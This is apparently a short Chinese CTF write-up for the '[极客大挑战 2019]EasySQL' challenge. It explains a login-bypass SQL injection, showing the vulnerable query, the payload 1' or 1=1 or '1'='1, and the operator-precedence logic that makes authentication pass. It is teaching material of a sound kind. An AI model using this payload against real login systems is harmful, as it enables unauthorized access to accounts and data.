[极客大挑战 2019]EasySQL 1
1.参考
https://zhuanlan.zhihu.com/p/137760825
2.涉及漏洞类型
SQL注入
3.解题思路
题目提示存在SQL注入 => 使用万能密码进行尝试 => 得到flag
4.知识点
1.SQL注入中的万能密码
原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
输入1' or 1=1 or '1'='1万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
逻辑运算的优先顺序是NOT>OR>AND
(1.)上面'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'先计算肯定返回false,因为密码是我们乱输入的。(此处是假)
(2.)Username='1' 返回假,没有用户名是1(此处是假)
(3.)1=1返回真(此处是真)
以上的结果是: 假 or 真 or假 返回真。验证通过。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】